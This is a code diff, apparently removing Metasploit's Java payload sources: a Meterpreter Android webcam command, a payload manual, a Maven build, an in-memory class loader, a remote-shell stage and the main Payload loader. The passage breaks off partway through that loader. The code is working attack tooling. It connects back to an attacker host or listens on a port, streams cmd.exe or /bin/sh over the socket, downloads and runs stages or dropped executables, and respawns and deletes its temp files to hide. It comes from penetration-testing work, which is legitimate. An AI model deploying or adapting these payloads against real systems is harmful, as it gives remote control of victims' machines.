import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.webcam_audio_record;
import android.util.Log;
public class webcam_stop_android extends webcam_audio_record implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
try {
if (webcam_start_android.camera != null) {
webcam_start_android.camera.stopPreview();
webcam_start_android.camera.release();
webcam_start_android.camera = null;
}
} catch (Exception e) {
Log.e(getClass().getSimpleName(), "webcam error ", e);
}
return ERROR_SUCCESS;
}
}
-198
View File
@@ -1,198 +0,0 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<style type="text/css">
body {
font-family: Verdana, Arial, sans-serif;
font-size: 10pt;
}
p {
margin-left: 2em;
margin-right: 2em;
}
</style>
<title>JavaPayload4Metasploit - Single payload loader class to
be used in the Metasploit project</title>
</head>
<body>
<h1>JavaPayload4Metasploit - Single payload loader class to be used
in the Metasploit project</h1>
<p><i>&copy; 2010 Michael 'mihi' Schierl, <tt>&lt;schierlm
at users dot sourceforge dot net&gt;</tt></i></p>
<h2>Introduction</h2>
<p>The <a href="http://schierlm.users.sourceforge.net/JavaPayload/">JavaPayload</a>s
contain useful payloads written in pure Java. But they assume that the
attacker has a Java VM on his machine, as the the builders and stage
handlers are written in Java. In addition, when creating a new payload
class that should reside in a signed jar, the jar has to be re-signed as
classes have changed.</p>
<p>In contrast, this package contains a single <i>metasploit.Payload</i>
class which is configured by a property file in the classpath (i. e. in
the same jar). As it is possible to add unsigned resources to a jar
without requiring to re-sign it, and as it is easy to manipulate zip/jar
files from Ruby, this makes it possible to leverage the powers of
JavaPayload from Metasploit which is written in Ruby and not in Java.</p>
<h2>System requirements</h2>
<p>Same as JavaPayload. JRE 1.2 on the victim machine is enough <tt>:-)</tt></p>
<p>On the attacker machine, no Java at all is required.</p>
<h2>How to use the <i>Payload</i> class.</h2>
<p>The <i>Payload</i> class is
a standard java main class (i. e. it has a <tt>public
static void main(String[])</tt> method), so the most obvious way to invoke it
is putting it into a Jar file whose manifest's <tt>Main-Class</tt>
attribute is <tt>metasploit.Payload</tt>. The resuling jar can be
started using <tt>java -jar jarfile.jar</tt>. There are 3 example jars
available that use this technique; they are described later.</p>
<p>Alternatively, the main class can of course be called from other
classes, like <tt>metasploit.Payload.main(null);</tt>, as the arguments
parameter is ignored. Note that in a sandboxed environment the caller
needs to have all permissions, and also the <i>Payload</i> class has to
be loaded with all permissions. In case there is untrusted code on the
stack trace (but the direct caller has all permissions), the call has to
be wrapped in a <a
href="http://download.oracle.com/javase/1.4.2/docs/api/java/security/AccessController.html#doPrivileged(java.security.PrivilegedExceptionAction)">doPrivileged</a>
call (like it is done in the several well known public exploits for
CVE-2008-5353).</p>
<p>Once loaded, the class will lookup a file called <tt>/metasploit.dat</tt>
from the class path and load it as a <a
href="http://download.oracle.com/javase/1.4.2/docs/api/java/util/Properties.html#load(java.io.InputStream)">Property
file</a> (basically a text file with <tt>Name=value</tt> lines, but note
that some special characters need escaping). If the file cannot be
found, default values are used.</p>
<p>Depending on the property values (see below), the class will then
optionally write itself to disk and spawn a sub-process (once or several
times) to disconnect the payload from the calling process. All temporary
files will be deleted afterwards. (Even on Windows it is possible to
delete a running class file as technically, not the class file but the
Java VM is running).</p>
<p>After that, it will either listen on a port and accept a socket,
connect to an URL (using a protocol like HTTP or HTTPS),
create an active socket connection, or (for debugging purposes) just
uses standard input and standard output; in any case, the resulting
input/output streams are used for the staging</p>
<p>Once the stage is loaded, the streams are handed to the stage.
Stages may require optional parameters (a string) which can be given
in the property file.</p>
<p>When the stage quits, the payload class terminates and cleans up
after itself if needed.</p>
<h2>Supported properties (and their default values)</h2>
<h3><tt>Spawn</tt>(<tt>=0</tt>)</h3>
<p>The number of java processes that should be spawned. <tt>0</tt>
will run the payload inside the original process, <tt>1</tt> will spawn
once (to continue running when the original process terminates), and <tt>2</tt>
will spawn twice (on certain popular operating systems it is impossible
to obtain parent process informaion if the parent process has already
died).</p>
<h3><tt>Executable</tt>(<tt>=</tt>)</h3>
<p>Points to an executable in the class path (next to
metasploit.dat), which will be extracted to a temporary directory (with
original filename), made executable (if needed by the OS) and executed.
When this option is present, no staging will be performed and all
options documented below are ignored.</p>
<h3><tt>StageParameters</tt>(<tt>=</tt>)</h3>
<p>Additional parameters to be used by the stage, regardless whether
it was embedded or not. Only few stages support/require parameters.</p>
<h3><tt>URL</tt>(<tt>=</tt>)</h3>
<p>Load the stage from this URL. The URL will be requested and the
resulting stream will be used for loading the stage classes from.
As the stage's output stream will discard all input, this is only
useful with stages (like Meterpreter) that can communicate via
some other means back to the attacker.</p>
<p><b>Note: </b>If this option is given, LHOST and LPORT are ignored.</p>
<h3><tt>LPORT</tt>(<tt>=4444</tt>)</h3>
<p>Port to listen on or to connect to (if <tt>LHOST</tt> is also
set). If explicitly set to <tt>0</tt>, no connection will be made, but
standard input/output streams will be used instead.</p>
<h3><tt>LHOST</tt>(<tt>=<a></a></tt>)</h3>
<p>Host to connect to. If not set, the payload will listen instead.</p>
<h2>Staging protocol</h2>
<p>The staging protocol is quite simple. All classes are sent
uncompressed (as they are inside the .jar file). Each class is prefixed
by a 32-bit big-endian size. After the last class, a size of 0 is sent.
The classes will be defined in the order they are sent (i. e. they can
only refer to classes defined before), and the last sent class will be
loaded as a stage.</p>
<p>In case of an embedded stage, no staging is used - the stream is
directly passed to the stage.</p>
<h2>Supported stages (in alphabetical order)</h2>
<p>The stages are original <a
href="http://schierlm.users.sourceforge.net/JavaPayload/">JavaPayload</a>
stages to make updates easier. All stages listed here can be used
without special "Java" tricks (like serialization or JDWP protocol), to
easily use them from Ruby.</p>
<h3><tt>Meterpreter</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage,
com.metasploit.meterpreter.MemoryBufferURLConnection,
com.metasploit.meterpreter.MemoryBufferURLStreamHandler,
javapayload.stage.Meterpreter</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd>Optional parameter <tt>NoRedirect</tt> for debugging.</dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>Meterpreter protocol</dd>
</dl>
<p>Loader to load the Java version of Metasploit's own
post-exploitation toolkit.</p>
<h3><tt>Shell</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
javapayload.stage.Shell</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd>Not supported</dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>Plain text</dd>
</dl>
<p>This stager loads /bin/sh on Unix systems and cmd.exe on Windows
systems, and else just behaves like the <tt>Exec</tt> stage.</p>
</body>
</html>
-144
View File
@@ -1,144 +0,0 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload</artifactId>
<parent>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload-parent</artifactId>
<version>1-SNAPSHOT</version>
</parent>
<packaging>jar</packaging>
<name>JavaPayload for Metasploit</name>
<url>http://www.metasploit.com/</url>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.2</version>
</dependency>
</dependencies>
<profiles>
<profile>
<!-- deploy built files to Metasploit data directory -->
<id>deploy</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<copy todir="${project.basedir}/../../../../data/java">
<fileset dir="${project.basedir}/target/classes">
<exclude name="metasploit/PayloadApplet.class" />
<exclude name="rmi/**" />
<exclude name="metasploit.dat" />
</fileset>
</copy>
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
<profile>
<!-- build example JARs -->
<id>examples</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<!-- example: spawning bind -->
<propertyfile file="${project.basedir}/target/classes/metasploit.dat">
<entry key="Spawn" value="2" />
<entry key="LPORT" value="5555" />
</propertyfile>
<jar destfile="${project.basedir}/example-spawn-bind.jar">
<manifest>
<attribute name="Main-Class" value="metasploit.Payload" />
</manifest>
<fileset dir="${project.basedir}/target/classes">
<include name="metasploit/Payload.class" />
<include name="metasploit.dat" />
</fileset>
</jar>
<delete file="${project.basedir}/target/classes/metasploit.dat" />
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
<profile>
<!-- build dummy jar used for capturing communication and for testing RMI injection -->
<id>buildrmi</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<propertyfile file="${project.basedir}/target/classes/metasploit.dat">
<entry key="LPORT" value="4444" />
<entry key="LHOST" value="127.0.0.1" />
</propertyfile>
<mkdir dir="${project.basedir}/target/rmi/build" />
<jar destfile="${project.basedir}/target/rmi/rmidummy.jar">
<manifest>
<attribute name="Main-Class" value="metasploit.Payload" />
</manifest>
<fileset dir="${project.basedir}/target/classes">
<include name="metasploit/RMILoader.class" />
<include name="metasploit/RMIPayload.class" />
<include name="metasploit/Payload.class" />
<include name="metasploit.dat" />
</fileset>
</jar>
<delete file="${project.basedir}/target/classes/metasploit.dat" />
<!-- rename local metasploit/RMILoader.class to ensure a classloader
URL will be serialized -->
<move file="${project.basedir}/target/classes/metasploit/RMILoader.class" tofile="${project.basedir}/target/classes/metasploit/RMILoader.class.tmp" />
<!-- run the capture server -->
<java classpath="${project.basedir}/target/classes" classname="rmi.RMICaptureServer" dir="${project.basedir}/target/rmi" fork="true" />
<!-- rename back -->
<move file="${project.basedir}/target/classes/metasploit/RMILoader.class.tmp" tofile="${project.basedir}/target/classes/metasploit/RMILoader.class" />
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>
@@ -1,104 +0,0 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
/**
* An {@link URLConnection} for an URL that is stored completely in memory.
*
* @author mihi
*/
public class MemoryBufferURLConnection extends URLConnection {
private static List files = new ArrayList();
static {
// tweak the cache of already loaded protocol handlers via reflection
try {
Field fld;
try {
fld = URL.class.getDeclaredField("handlers");
} catch (NoSuchFieldException ex) {
try {
// GNU Classpath (libgcj) calls this field differently
fld = URL.class.getDeclaredField("ph_cache");
} catch (NoSuchFieldException ex2) {
// throw the original exception
throw ex;
}
}
fld.setAccessible(true);
Map handlers = (Map) fld.get(null);
// Note that although this is a static initializer, it can happen
// that two threads are entering this spot at the same time: When
// there is more than one classloader context (e. g. in a servlet
// container with Spawn=0) and more than one of them is loading
// a copy of this class at the same time. Work around this by
// letting all of them use the same URL stream handler object.
synchronized(handlers) {
// do not use the "real" class name here as the same class
// loaded in different classloader contexts is not the same
// one for Java -> ClassCastException
Object /*MemoryBufferURLStreamHandler*/ handler;
if (handlers.containsKey("metasploitmembuff")) {
handler = handlers.get("metasploitmembuff");
} else {
handler = new MemoryBufferURLStreamHandler();
handlers.put("metasploitmembuff", handler);
}
// for the same reason, use reflection to obtain the files List
files = (List) handler.getClass().getMethod("getFiles", new Class[0]).invoke(handler, new Object[0]);
}
} catch (Exception ex) {
throw new RuntimeException(ex.toString());
}
}
/**
* Create a new URL from a byte array and its content type.
*/
public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
synchronized(files) {
files.add(data);
return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType);
}
}
private final byte[] data;
private final String contentType;
protected MemoryBufferURLConnection(URL url) {
super(url);
String file = url.getFile();
int pos = file.indexOf('/');
synchronized (files) {
data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos)));
}
contentType = file.substring(pos + 1);
}
public void connect() throws IOException {
}
public InputStream getInputStream() throws IOException {
return new ByteArrayInputStream(data);
}
public int getContentLength() {
return data.length;
}
public String getContentType() {
return contentType;
}
}
@@ -1,26 +0,0 @@
package com.metasploit.meterpreter;
import java.io.IOException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.ArrayList;
import java.util.List;
/**
* An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection}
*
* @author mihi
*/
public class MemoryBufferURLStreamHandler extends URLStreamHandler {
private List files = new ArrayList();
protected URLConnection openConnection(URL u) throws IOException {
return new MemoryBufferURLConnection(u);
}
public List getFiles() {
return files;
}
}
@@ -1,25 +0,0 @@
package javapayload.stage;
import java.io.DataInputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLClassLoader;
import com.metasploit.meterpreter.MemoryBufferURLConnection;
/**
* Meterpreter Java Payload Proxy
*/
public class Meterpreter implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
boolean noRedirectError = parameters[parameters.length-1].equals("NoRedirect");
int coreLen = in.readInt();
byte[] core = new byte[coreLen];
in.readFully(core);
URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar");
new URLClassLoader(new URL[] { coreURL }, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[] { DataInputStream.class, OutputStream.class, boolean.class, boolean.class }).newInstance(new Object[] { in, out, Boolean.TRUE, new Boolean(!noRedirectError) });
in.close();
out.close();
}
}
@@ -1,56 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.OutputStream;
public class Shell implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
final String[] cmdarray = new String[1];
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
cmdarray[0] = "cmd.exe";
} else {
cmdarray[0] = "/bin/sh";
}
final Process proc = Runtime.getRuntime().exec(cmdarray);
new StreamForwarder(in, proc.getOutputStream(), out).start();
new StreamForwarder(proc.getInputStream(), out, out).start();
new StreamForwarder(proc.getErrorStream(), out, out).start();
proc.waitFor();
in.close();
out.close();
}
}
@@ -1,42 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.OutputStream;
public interface Stage {
public abstract void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception;
}
@@ -1,99 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, 2011 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
public class StreamForwarder extends Thread {
public static void forward(InputStream in, OutputStream out) throws IOException {
forward(in, out, true);
}
public static void forward(InputStream in, OutputStream out, boolean closeOut) throws IOException {
try {
final byte[] buf = new byte[4096];
int length;
while ((length = in.read(buf)) != -1) {
if (out != null) {
out.write(buf, 0, length);
if (in.available() == 0) {
out.flush();
}
}
}
} finally {
in.close();
if (closeOut)
out.close();
}
}
private final InputStream in;
private final OutputStream out;
private final OutputStream stackTraceOut;
private final boolean closeOut;
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) {
this(in,out,stackTraceOut,true);
}
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut, boolean closeOut) {
this.in = in;
this.out = out;
this.stackTraceOut = stackTraceOut;
this.closeOut = closeOut;
}
public void run() {
try {
forward(in, out, closeOut);
} catch (final Throwable ex) {
if (stackTraceOut == null)
throwWrapped(ex);
ex.printStackTrace(new PrintStream(stackTraceOut, true));
}
}
private static void throwWrapped(Throwable ex) {
/* #JDK1.4 */try {
throw new RuntimeException(ex);
} catch (NoSuchMethodError ex2) /**/{
throw new RuntimeException(ex.toString());
}
}
}
@@ -1,42 +0,0 @@
package metasploit;
import java.io.DataInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.security.MessageDigest;
import java.security.SecureRandom;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.CipherOutputStream;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
/**
* Utility class to enable AES encryption for stagers. This is in its own class
* because it depends on classes only present on Sun JRE 1.4+, and incorporating
* it into the main {@link Payload} class would have made it impossible for
* other/older JREs to load it.
*/
public class AESEncryption {
public static Object[] wrapStreams(InputStream in, OutputStream out, String key) throws Exception {
DataInputStream din = new DataInputStream(in);
din.readInt(); // first class size 0 as marker in JavaPayload
SecureRandom sr = new SecureRandom();
byte[] outIV = new byte[16];
sr.nextBytes(outIV);
out.write(outIV);
out.flush();
byte[] inIV = new byte[16];
din.readFully(inIV);
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(key.getBytes());
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
return new Object[] {
new CipherInputStream(din, ci),
new CipherOutputStream(out, co),
};
}
}
@@ -1,387 +0,0 @@
/*
* Java Payloads loader class for Metasploit.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package metasploit;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.Locale;
import java.util.Properties;
import java.util.Stack;
import java.util.StringTokenizer;
/**
* The main payload loader class.
*
* To invoke all the magic, call the {@link #main(String[])} method
* (Or use it as Main-Class in a standalone jar and double-click it).
*/
public class Payload extends ClassLoader {
public static void main(String[] ignored) throws Exception {
// Find our properties. If we are running inside the jar, they are in a resource stream called "/metasploit.dat".
Properties props = new Properties();
Class clazz = Payload.class;
String clazzFile = clazz.getName().replace('.', '/')+".class";
InputStream propsStream = clazz.getResourceAsStream("/metasploit.dat");
if (propsStream != null) {
props.load(propsStream);
propsStream.close();
}
// check if we should drop an executable
String executableName = props.getProperty("Executable");
if (executableName != null) {
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
tempDir.mkdir();
File executableFile = new File(tempDir, executableName);
writeEmbeddedFile(clazz, executableName, executableFile);
props.remove("Executable");
props.put("DroppedExecutable", executableFile.getCanonicalPath());
}
// check if we should respawn
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
String droppedExecutable = props.getProperty("DroppedExecutable");
if (spawn > 0) {
// decrease count so that eventually the process
// will stop spawning
props.setProperty("Spawn", String.valueOf(spawn - 1));
// write our class
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
File propFile = new File(tempDir, "metasploit.dat");
File classFile = new File(tempDir, clazzFile);
classFile.getParentFile().mkdirs();
// load ourselves via the class loader (works both on disk and from Jar)
writeEmbeddedFile(clazz, clazzFile, classFile);
if(props.getProperty("URL", "").startsWith("https:")) {
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
}
if (props.getProperty("AESPassword", null) != null) {
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
}
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
Process proc = Runtime.getRuntime().exec(new String[] {
getJreExecutable("java"),
"-classpath",
tempDir.getAbsolutePath(),
clazz.getName()
});
// the input streams might cause the child process to block if
// we do not read or close them
proc.getInputStream().close();
proc.getErrorStream().close();
// give the process plenty of time to load the class if needed
Thread.sleep(2000);
// clean up (we can even delete the .class file on Windows
// if the process is still running). Note that delete()
// will only delete empty directories, so we have to delete
// everything else first
File[] files = new File[] {
classFile, classFile.getParentFile(), propFile, tempDir
};
for (int i = 0; i < files.length; i++) {
for (int j = 0; j < 10; j++) {
if (files[i].delete())
break;
files[i].deleteOnExit();
Thread.sleep(100);
}
}
} else if (droppedExecutable != null) {
File droppedFile = new File(droppedExecutable);
// File.setExecutable is Java 1.6+, therefore call it via reflection and try
// the chmod alternative if it fails. Do not call it at all for Windows.
if (!IS_DOS) {
try {
try {
File.class.getMethod("setExecutable", new Class[] {boolean.class}).invoke(droppedFile, new Object[] { Boolean.TRUE});
} catch (NoSuchMethodException ex) {
// ok, no setExecutable method, call chmod and wait for it
Runtime.getRuntime().exec(new String[] {"chmod", "+x", droppedExecutable}).waitFor();
}
} catch (Exception ex) {
// try to continue anyway, we have nothing to lose
ex.printStackTrace();
}
}
// now execute the executable.
// tempdir may contain spaces, so do not use the String variant of exec!
Runtime.getRuntime().exec(new String[] {droppedExecutable});
// Linux and other Unices allow removing files while they are in use
if (!IS_DOS) {
droppedFile.delete();
droppedFile.getParentFile().delete();
}
} else {
// check what stager to use (bind/reverse)
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
String lHost = props.getProperty("LHOST", null);
String url = props.getProperty("URL", null);
InputStream in;
OutputStream out;
if (lPort <= 0) {
// debug code: just connect to stdin/stdout
// best used with embedded stages
in = System.in;
out = System.out;
} else if (url != null) {
if (url.startsWith("raw:"))
// for debugging: just use raw bytes from property file
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
else if (url.startsWith("https:")) {
URLConnection uc = new URL(url).openConnection();
// load the trust manager via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+)
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[] {URLConnection.class}).invoke(null, new Object[] {uc});
in = uc.getInputStream();
} else
in = new URL(url).openStream();
out = new ByteArrayOutputStream();
} else {
Socket socket;
if (lHost != null) {
// reverse_tcp
socket = new Socket(lHost, lPort);
} else {
// bind_tcp
ServerSocket serverSocket = new ServerSocket(lPort);
socket = serverSocket.accept();
serverSocket.close(); // no need to listen any longer
}
in = socket.getInputStream();
out = socket.getOutputStream();
}
String aesPassword = props.getProperty("AESPassword", null);
if (aesPassword != null) {
// load the crypto code via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+ or JCE)
Object[] streams = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] {InputStream.class, OutputStream.class, String.class}).invoke(null, new Object[] {in, out, aesPassword});
in = (InputStream) streams[0];
out = (OutputStream) streams[1];
}
// build the stage parameters, if any
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " ");
